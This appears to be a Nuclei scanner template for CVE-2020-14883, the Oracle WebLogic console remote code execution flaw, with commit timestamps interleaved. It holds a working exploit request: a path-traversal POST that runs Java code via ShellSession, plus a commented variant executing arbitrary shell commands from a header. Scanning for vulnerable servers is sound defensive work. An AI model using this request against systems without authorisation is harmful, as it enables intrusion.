2021-03-21 08:03:59 +00:00
id : CVE-2020-14883
info :
2022-04-21 21:16:41 +00:00
name : Oracle Fusion Middleware WebLogic Server Administration Console - Remote Code Execution
2023-05-06 06:21:07 +00:00
author : pdteam,vicrack
2021-09-10 11:26:40 +00:00
severity : high
2023-05-06 06:59:32 +00:00
description : |
The Oracle Fusion Middleware WebLogic Server admin console in versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is vulnerable to an easily exploitable vulnerability that allows high privileged attackers with network access via HTTP to compromise Oracle WebLogic Server.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
2023-09-06 12:22:36 +00:00
remediation : |
Apply the necessary patches or updates provided by Oracle to mitigate this vulnerability.
2022-04-07 13:53:15 +00:00
reference :
- https://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14883
2022-05-17 09:18:12 +00:00
- https://www.oracle.com/security-alerts/cpuoct2020.html
- http://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html
2024-03-23 09:28:19 +00:00
- https://github.com/1n7erface/PocList
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 7.2
2021-09-10 11:26:40 +00:00
cve-id : CVE-2020-14883
2024-03-23 09:28:19 +00:00
epss-score : 0.97498
epss-percentile : 0.99975
2023-09-06 12:22:36 +00:00
cpe : cpe:2.3:a:oracle:weblogic_server:10.3.6.0.0:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 12:22:36 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : oracle
product : weblogic_server
2023-09-06 12:22:36 +00:00
shodan-query : title:"Oracle PeopleSoft Sign-in"
2024-01-14 09:21:50 +00:00
tags : cve,cve2020,oracle,rce,weblogic,kev,packetstorm
2023-05-06 06:21:07 +00:00
variables :
2023-05-06 06:59:32 +00:00
str : "{{randstr}}"
2023-05-06 06:21:07 +00:00
revstr : "{{reverse(str)}}"
2023-04-27 04:28:59 +00:00
http :
2022-04-09 14:52:22 +00:00
- raw :
2023-05-06 06:21:07 +00:00
# CMD: String cmd = req.getHeader("CMD");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next();
2022-04-09 14:52:22 +00:00
- |
POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
Host : {{Hostname}}
Accept-Language : en
Content-Type : application/x-www-form-urlencoded
Accept-Encoding : gzip, deflate
2021-03-21 10:09:34 +00:00
2023-05-06 06:21:07 +00:00
test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String result = new StringBuilder("{{str}}").reverse().toString(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush(); currentThread.interrupt();')
2021-03-21 08:03:59 +00:00
matchers-condition : and
matchers :
2022-04-09 14:52:22 +00:00
- type : word
part : header
words :
- "ADMINCONSOLESESSION"
2021-03-21 08:03:59 +00:00
2022-04-09 14:52:22 +00:00
- type : word
part : body
words :
2023-05-06 06:21:07 +00:00
- "{{revstr}}"
2021-03-21 08:03:59 +00:00
- type : status
status :
- 200
2024-01-26 08:31:11 +00:00
# digest: 4b0a00483046022100a216683c4836ee06ce18a7c86917257229c5155ec92db675877cb133d758c495022100bd33f4f57af507b041ca2ac782691e96a1602bf780530717f588bf0628f764e1:922c64590222798bb761d5b6d8e72950